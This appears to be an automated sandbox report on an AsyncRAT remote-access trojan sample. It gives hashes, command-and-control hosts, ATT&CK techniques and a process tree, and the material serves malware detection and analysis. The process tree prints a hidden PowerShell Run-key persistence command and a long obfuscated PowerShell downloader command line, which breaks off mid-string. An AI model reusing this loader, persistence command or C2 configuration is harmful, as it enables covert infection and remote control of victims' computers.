asyncrat | 89d17353a10865a0c43e3c32e767d7829245df954fdceaa44c1d0fda84a8f7d4

Analysis

max time kernel
299s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/05/2026, 16:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
S5121000221100211-110211.js
Size 41KB
Sample260522-vdbyhaay3n
SHA256 89d17353a10865a0c43e3c32e767d7829245df954fdceaa44c1d0fda84a8f7d4
MD5 c66a6c361c9c1de575289e4895784474
SHA1 d465accc78d930abf4e4d496c7bf74914f2b02e4
SHA512 5641e29bc6057f4bc940899dae529b63ba95ae75a8369c3327d75ee774f8f5796a31432307c98ea3cb2b2a9e6b0a1de867e81dca682904242909116e7fc90787
SSDEEP 768:Cnc/Re/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/e/V/scZ19llF1bSQUg/o:2sR++++++++++++++++++VscZf/F1S
TLSH
T155137916399FC61871A24689469F07754B6F794F1FBF8089048EEEC98FE34225C877A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

stg defense_evasion discovery execution asyncrat persistence rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.9 A

Botnet

xtadts.ddns.net:2055
afxwd.ddns.net:2055

Mutex

ORcoJrFrh0hf

Attributes

delay
5
install
false
install_file
null
install_folder
null

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
59	3284	installutil.exe
59	3284	installutil.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	1100	powershell.exe
30	4384	powershell.exe
31	4384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4488	powershell.exe
888	powershell.exe
1708	powershell.exe
1036	powershell.exe
6136	powershell.exe
1796	powershell.exe
4192	powershell.exe
1100	powershell.exe
2364	powershell.exe
2784	powershell.exe
4936	powershell.exe
6056	powershell.exe
5368	powershell.exe
4384	powershell.exe
624	powershell.exe
4100	powershell.exe
4352	powershell.exe
1640	powershell.exe
5068	powershell.exe
2076	powershell.exe
1832	powershell.exe
5676	powershell.exe
820	powershell.exe
5124	powershell.exe

.NET Reactor proctector 64 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/4384-32-0x0000014CD5D00000-0x0000014CD5D66000-memory.dmp	net_reactor
behavioral1/memory/4384-44-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-46-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-42-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-40-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-126-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-102-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-38-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-36-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-74-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-34-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-33-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-48-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-150-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-158-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-156-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-154-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-152-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-148-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-146-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-144-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-142-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-140-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-138-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-136-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-134-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-132-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-130-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-128-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-124-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-122-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-120-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-118-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-116-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-114-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-112-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-110-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-108-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-106-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-104-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-100-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-98-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-96-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-94-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-92-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-90-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-88-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-86-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-84-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-82-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-80-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-78-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-76-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-72-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-70-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-68-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-66-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-64-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-62-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-60-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-58-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-56-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-54-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor
behavioral1/memory/4384-52-0x0000014CD5D00000-0x0000014CD5D5F000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_ssh = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\gcvzm.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1036	powershell.exe
1036	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1036 set thread context of 3284	1036	powershell.exe	138

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 20 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1796	PING.EXE
6032	cmd.exe
5140	cmd.exe
5892	cmd.exe
5144	PING.EXE
3064	cmd.exe
3080	cmd.exe
2744	PING.EXE
1768	PING.EXE
4344	PING.EXE
4960	PING.EXE
2096	cmd.exe
5884	cmd.exe
3976	cmd.exe
4696	PING.EXE
952	PING.EXE
4872	PING.EXE
3944	cmd.exe
412	cmd.exe
4036	PING.EXE

Runs ping.exe 1 TTPs 10 IoCs

Remote System Discovery

T1018

pid	Process
1796	PING.EXE
4872	PING.EXE
1768	PING.EXE
5144	PING.EXE
4344	PING.EXE
4036	PING.EXE
2744	PING.EXE
4696	PING.EXE
4960	PING.EXE
952	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
820	powershell.exe
820	powershell.exe
1100	powershell.exe
1100	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe
4384	powershell.exe
1708	powershell.exe
1708	powershell.exe
1708	powershell.exe
4352	powershell.exe
4352	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
4352	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
2364	powershell.exe
2364	powershell.exe
1036	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
5068	powershell.exe
5068	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
4936	powershell.exe
4936	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
2076	powershell.exe
2076	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
6056	powershell.exe
6056	powershell.exe
1036	powershell.exe
1036	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeIncreaseQuotaPrivilege	1100	powershell.exe
Token: SeSecurityPrivilege	1100	powershell.exe
Token: SeTakeOwnershipPrivilege	1100	powershell.exe
Token: SeLoadDriverPrivilege	1100	powershell.exe
Token: SeSystemProfilePrivilege	1100	powershell.exe
Token: SeSystemtimePrivilege	1100	powershell.exe
Token: SeProfSingleProcessPrivilege	1100	powershell.exe
Token: SeIncBasePriorityPrivilege	1100	powershell.exe
Token: SeCreatePagefilePrivilege	1100	powershell.exe
Token: SeBackupPrivilege	1100	powershell.exe
Token: SeRestorePrivilege	1100	powershell.exe
Token: SeShutdownPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeSystemEnvironmentPrivilege	1100	powershell.exe
Token: SeRemoteShutdownPrivilege	1100	powershell.exe
Token: SeUndockPrivilege	1100	powershell.exe
Token: SeManageVolumePrivilege	1100	powershell.exe
Token: 33	1100	powershell.exe
Token: 34	1100	powershell.exe
Token: 35	1100	powershell.exe
Token: 36	1100	powershell.exe
Token: SeIncreaseQuotaPrivilege	1100	powershell.exe
Token: SeSecurityPrivilege	1100	powershell.exe
Token: SeTakeOwnershipPrivilege	1100	powershell.exe
Token: SeLoadDriverPrivilege	1100	powershell.exe
Token: SeSystemProfilePrivilege	1100	powershell.exe
Token: SeSystemtimePrivilege	1100	powershell.exe
Token: SeProfSingleProcessPrivilege	1100	powershell.exe
Token: SeIncBasePriorityPrivilege	1100	powershell.exe
Token: SeCreatePagefilePrivilege	1100	powershell.exe
Token: SeBackupPrivilege	1100	powershell.exe
Token: SeRestorePrivilege	1100	powershell.exe
Token: SeShutdownPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeSystemEnvironmentPrivilege	1100	powershell.exe
Token: SeRemoteShutdownPrivilege	1100	powershell.exe
Token: SeUndockPrivilege	1100	powershell.exe
Token: SeManageVolumePrivilege	1100	powershell.exe
Token: 33	1100	powershell.exe
Token: 34	1100	powershell.exe
Token: 35	1100	powershell.exe
Token: 36	1100	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	5124	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	3284	installutil.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeDebugPrivilege	624	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	4488	powershell.exe
Token: SeDebugPrivilege	5368	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 1108	1456	wscript.exe	87
PID 1108 wrote to memory of 820	1108	wscript.exe	89
PID 820 wrote to memory of 1100	820	powershell.exe	92
PID 1100 wrote to memory of 4384	1100	powershell.exe	102
PID 4384 wrote to memory of 2096	4384	powershell.exe	104
PID 4384 wrote to memory of 5884	4384	powershell.exe	105
PID 4384 wrote to memory of 5892	4384	powershell.exe	106
PID 4384 wrote to memory of 5140	4384	powershell.exe	107
PID 4384 wrote to memory of 6032	4384	powershell.exe	108
PID 4384 wrote to memory of 412	4384	powershell.exe	109
PID 4384 wrote to memory of 3944	4384	powershell.exe	110
PID 4384 wrote to memory of 3080	4384	powershell.exe	111
PID 4384 wrote to memory of 3064	4384	powershell.exe	112
PID 4384 wrote to memory of 3976	4384	powershell.exe	113
PID 5884 wrote to memory of 1796	5884	cmd.exe	115
PID 2096 wrote to memory of 4872	2096	cmd.exe	114
PID 5140 wrote to memory of 4960	5140	cmd.exe	117
PID 6032 wrote to memory of 952	6032	cmd.exe	116
PID 412 wrote to memory of 4344	412	cmd.exe	118
PID 3080 wrote to memory of 4696	3080	cmd.exe	120
PID 3976 wrote to memory of 5144	3976	cmd.exe	119
PID 3944 wrote to memory of 1768	3944	cmd.exe	121
PID 3064 wrote to memory of 2744	3064	cmd.exe	122
PID 5892 wrote to memory of 4036	5892	cmd.exe	123
PID 4384 wrote to memory of 5124	4384	powershell.exe	124
PID 4384 wrote to memory of 1708	4384	powershell.exe	128
PID 4384 wrote to memory of 4352	4384	powershell.exe	129
PID 4384 wrote to memory of 1036	4384	powershell.exe	130
PID 4384 wrote to memory of 4584	4384	powershell.exe	131
PID 1036 wrote to memory of 3284	1036	powershell.exe	138
PID 1036 wrote to memory of 3284	1036	powershell.exe	138
PID 1036 wrote to memory of 3284	1036	powershell.exe	138
PID 1036 wrote to memory of 3284	1036	powershell.exe	138
PID 1036 wrote to memory of 3284	1036	powershell.exe	138
PID 1036 wrote to memory of 2364	1036	powershell.exe	139
PID 2364 wrote to memory of 1640	2364	powershell.exe	140
PID 2364 wrote to memory of 2784	2364	powershell.exe	142
PID 2364 wrote to memory of 5068	2364	powershell.exe	143
PID 2364 wrote to memory of 4936	2364	powershell.exe	144
PID 2364 wrote to memory of 2076	2364	powershell.exe	147
PID 2364 wrote to memory of 6056	2364	powershell.exe	148
PID 2364 wrote to memory of 624	2364	powershell.exe	152
PID 2364 wrote to memory of 1832	2364	powershell.exe	153
PID 2364 wrote to memory of 6136	2364	powershell.exe	154
PID 2364 wrote to memory of 5676	2364	powershell.exe	155
PID 2364 wrote to memory of 4488	2364	powershell.exe	156
PID 2364 wrote to memory of 5368	2364	powershell.exe	157
PID 2364 wrote to memory of 888	2364	powershell.exe	158
PID 2364 wrote to memory of 4100	2364	powershell.exe	159
PID 2364 wrote to memory of 1796	2364	powershell.exe	160
PID 2364 wrote to memory of 4192	2364	powershell.exe	161

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\S5121000221100211-110211.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\vtphh.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2ZkamJ6LnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd' + '0' + 'cHdqYi5' + '0' + 'eHQnKS' + 'A' + '7JG5ya3RyID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JG5ya3RyLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JG5ya3RyLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JG5ya3RyLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JG5ya3RyLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kbnJrdHIuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyR5c2NxYy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JHlzY3FjID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJHlzY3FjLCdcJXglKycpKVsxXSkuVHJpbSgpOyR5c2NxYyB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskbnlzem' + '0' + 'gKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyRueXN6bS' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbUV2TURnM' + '0' + '5XRTRMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ3Rwd2piLnR4dCcnKS' + 'A' + '7JGdtZG1nID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JG55c3ptICs' + ' + 9 + ' + 'ICckZ21kbWcgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyRueXN6bS' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 